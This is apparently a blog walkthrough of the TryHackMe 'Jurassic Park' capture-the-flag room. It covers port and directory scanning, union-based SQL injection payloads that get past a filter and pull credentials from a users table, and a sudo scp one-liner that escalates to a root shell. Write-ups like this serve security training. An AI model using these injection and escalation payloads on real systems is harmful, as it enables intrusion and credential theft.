Sitemap

TryHackMe: Jurassic Park

6 min readMay 20, 2021

Initial foothold

  1. Port scan
nmap -Pn <target ip>nmap -Pn -p1000- <target ip>

There’re 2 open ports: 22 and 80.

Press enter or click to view image in full size

2. OS and service scan

nmap -A -p22,80 <target ip>

There’re 2 services: SSH on port 22 and HTTP on port 80.

Press enter or click to view image in full size

3. Vuln scan

nmap --script vuln -p22,80 <target ip>

There’s robots.txt on HTTP service.

Press enter or click to view image in full size
Press enter or click to view image in full size

Service Enumeration

  1. SSH
ssh <target ip>

Connecting is succeeded.

Press enter or click to view image in full size

2. HTTP service

nikto scan

nikto -h http://<target ip>
Press enter or click to view image in full size

Directory scan w/ gobuster

gobuster dir --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://<target>/ -x php,txt,html,sh,cgi,bak -q
Press enter or click to view image in full size

Access HTTP site

/index.php

Press enter or click to view image in full size

View page source, not much revealed

Press enter or click to view image in full size

Follow the link to shop.php

Press enter or click to view image in full size

Click on one the choices, I was redirected to /item.php?id=3

Press enter or click to view image in full size

/item.php?id=1

Press enter or click to view image in full size

Conclusion:

id is a parameter. Maybe I can do SQL injection.

Exploitation

  1. Intercept item.php w/ Burp Suite and send it to the Intruder
Press enter or click to view image in full size

2. Supply the payload and start the attack

Here’s my payload on GitHub.

Looking at the length there’re many values. I will start w/ 407.

Press enter or click to view image in full size

Try the query

" or 1=1

Failed!!!

Press enter or click to view image in full size

Next is 516, I skipped 408 and 409 because It’s the same request and the length is different due to strings’ size.

' or 1=1#

There’s a filter in this system.

Press enter or click to view image in full size

Try 1765

0 or 1=1

No error. Good to go.

Press enter or click to view image in full size

3. Test for union injection

Before attacking, I will encode the query w/ Burp Suite’s decoder function.

0 union select

The full request will be:

0 union select 10 union select 1,20 union select 1,2,3

I will add “$” at number position.

Load the payload

Here’s my GitHub link

Start the attack, judging by the length. This machine is also vulnerable to union injection and it needs 5 columns to display the result.

Press enter or click to view image in full size

Test the query

0 union select 1,2,3,4,5
Press enter or click to view image in full size

Version number

0 union select 1,2,version(),4,5
Press enter or click to view image in full size

Database

0 union select 1,2,database(),4,5
Press enter or click to view image in full size

Get other databases

0 union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata

There’s only 1 interesting database: park.

Press enter or click to view image in full size

Retrieve table names

0 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()
Press enter or click to view image in full size

Retrieve column names of table ‘users’

0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where  table_name='users' and  table_schema=database()

I was filtered.

Press enter or click to view image in full size

Change single quite (‘) to double quote (“)

0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where  table_name="users" and  table_schema=database()
Press enter or click to view image in full size

Retrieve data

0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where  table_name="users" and  table_schema=database()

I was filtered. I probably filtered by column name.

Press enter or click to view image in full size

Test one by one starting w/ id

0 union select 1,group_concat(id),3,4,5 from users

There’re 2 users.

Press enter or click to view image in full size

username

0 union select 1,group_concat(username),3,4,5 from users

I was filtered

Press enter or click to view image in full size

password

0 union select 1,group_concat(password),3,4,5 from users

I got 2 passwords.

Press enter or click to view image in full size

Before trying to work around w/ ‘username’ filtering. I will retrieve data from tables ‘items’

Column name

0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where  table_name="items" and  table_schema=database()
Press enter or click to view image in full size

Data

0 union select 1,group_concat(id," ",package," ",price," ",information," ",sold),3,4,5 from items
Press enter or click to view image in full size

Copy and arrange it. ID #5 mentioned filtered characters.

Press enter or click to view image in full size

/item.php?id=5

There’s s massage to Dennis.

Press enter or click to view image in full size

Until now, there’re 2 possible usernames: dennis and Dennis

3. Try to log in w/ ssh starting w/ username: dennis and both of the passwords.

Press enter or click to view image in full size

Privilege Escaltion

  1. Verify sudo
sudo -l

I can escalate w/

Press enter or click to view image in full size

Here’s the command

TF=$(mktemp)echo 'sh 0<&2 1>&2' > $TFchmod 777 "$TF"sudo scp -S $TF x y:whoami

Now I’m root.

2. Finding flags

1st flag is located in /home/dennis

5th flag is located in /root

2nd flag location is hinted in /home/ubuntu/.bash_history

It’s in /boot/grub/fonts/

3rd flag is written in /home/dennis/.bash_history

--

--

No responses yet